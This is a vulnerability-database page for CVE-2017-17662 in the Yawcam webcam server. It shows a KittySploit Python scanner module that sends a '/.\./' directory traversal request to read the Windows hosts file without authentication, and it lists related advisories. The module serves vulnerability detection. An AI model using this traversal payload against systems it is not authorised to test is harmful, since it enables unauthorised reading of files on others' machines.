Lucene search
+L

Yawcam - Directory Traversal Detection (CVE-2017-17662)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Yawcam directory traversal allows unauthenticated reading of the Windows hosts file.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Yawcam 0.6.0 Directory Traversal Vulnerability
10 Jan 201800:00
–zdt
cnvd
CNVD
Yawcam HTTP Server Directory Traversal Vulnerability
12 Jan 201800:00
–cnvd
cve
CVE
CVE-2017-17662
10 Jan 201818:00
–cve
cvelist
Cvelist
CVE-2017-17662
10 Jan 201818:00
–cvelist
euvd
EUVD
EUVD-2017-8820
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2017-17662
10 Jan 201818:29
–nvd
openvas
OpenVAS
Yawcam 0.2.6 - 0.6.0 Directory Traversal Vulnerability
15 Jan 201800:00
–openvas
osv
OSV
CVE-2017-17662
10 Jan 201818:29
–osv
packetstorm
Packet Storm
Yawcam 0.6.0 Directory Traversal
9 Jan 201800:00
–packetstorm
prion
Prion
Directory traversal
10 Jan 201818:29
–prion
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Yawcam directory traversal (CVE-2017-17662)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Yawcam - Directory Traversal Detection (CVE-2017-17662)',
        'description': (
            'Detects CVE-2017-17662 by requesting /.\\./ sequences to read Windows hosts file.'
        ),
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': [
            'web', 'scanner', 'cve', 'cve2017', 'yawcam', 'lfi', 'windows', 'unauth', 'vuln',
        ],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2017-17662',
            'https://packetstorm.news/files/id/145770',
        ],
        'cve': 'CVE-2017-17662',
    }

    def run(self):
        path = '/.\\./.\\./.\\./.\\./.\\./.\\./.\\./windows/system32/drivers/etc/hosts.'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        if 'This is a sample HOSTS file' in (r.text or ''):
            self.set_info(
                severity='high',
                reason='Yawcam directory traversal (CVE-2017-17662)',
                path=path,
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 37.5
EPSS0.03154
2